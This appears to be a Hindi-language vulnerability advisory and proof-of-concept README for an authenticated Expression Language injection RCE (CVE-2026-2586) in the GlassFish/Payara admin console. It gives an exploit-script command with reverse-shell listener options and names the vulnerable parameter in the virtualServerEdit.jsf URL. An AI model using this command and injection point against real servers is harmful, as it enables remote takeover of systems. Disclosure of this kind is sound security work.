प्रमाणित GlassFish EL इंजेक्शन RCE (CVE-2026-2586)

GlassFish प्रशासन कंसोल में एक एक्सप्रेशन लैंग्वेज इंजेक्शन भेद्यता एक प्रमाणित उपयोगकर्ता को प्रशासनिक वेब इंटरफ़ेस द्वारा प्रोसेस किए गए पैरामीटरों में दुर्भावनापूर्ण EL एक्सप्रेशन इंजेक्ट करने की अनुमति देती है। सफल शोषण से प्रभावित सर्वर पर दूरस्थ कमांड निष्पादन हो सकता है।

यह भेद्यता सर्वर वर्चुअल कॉन्फ़िगरेशन संपादन प्रवाह में पहचानी गई थी, जहाँ उपयोगकर्ता-नियंत्रणीय पैरामीटरों की व्याख्या एप्लिकेशन द्वारा असुरक्षित रूप से की जाती है।

यह निम्नलिखित कारणों से होता है:

• प्रशासनिक इंटरफ़ेस EL एक्सप्रेशन के भीतर उपयोगकर्ता-नियंत्रित पैरामीटरों को प्रोसेस करता है।
• बैकएंड द्वारा व्याख्या किए जाने से पहले इनपुट को ठीक से मान्य या निष्प्रभावी नहीं किया जाता है।
• प्रशासनिक कंसोल में एक प्रमाणित उपयोगकर्ता Java क्लासेस और मेथड्स को आमंत्रित करने के लिए भेद्य व्यवहार का दुरुपयोग कर सकता है।
• सफल शोषण परिदृश्य में, वैध क्रेडेंशियल्स वाला हमलावर अंतर्निहित ऑपरेटिंग सिस्टम पर कमांड निष्पादित कर सकता है।

प्रभावित घटक

• उत्पाद: GlassFish / Payara प्रशासन कंसोल
• CVE: CVE-2026-2586
• प्रकार: एक्सप्रेशन लैंग्वेज इंजेक्शन
• प्रभाव: प्रमाणित दूरस्थ कोड निष्पादन
• वेक्टर: प्रशासनिक वेब इंटरफ़ेस

प्रूफ ऑफ कॉन्सेप्ट

परीक्षण एक स्थानीय और नियंत्रित वातावरण में किया गया था।

CVE-2026-2586.py --url https://glassfish:4848/ --user <USERNAME> --password <PASSWORD> --lhost 127.0.0.1 --lport 4444 --insecure

भेद्य URL:

https://glassfish:4848/web/configuration/virtualServerEdit.jsf?name=server&configName=server-config&alertType=success&alertSummary=PAYLOAD&alertDetail=&bare=true

कानूनी

केवल अधिकृत उपयोग। DeepSecurity Perú अनधिकृत पहुँच का समर्थन नहीं करता है और प्रदान की गई जानकारी के किसी भी दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।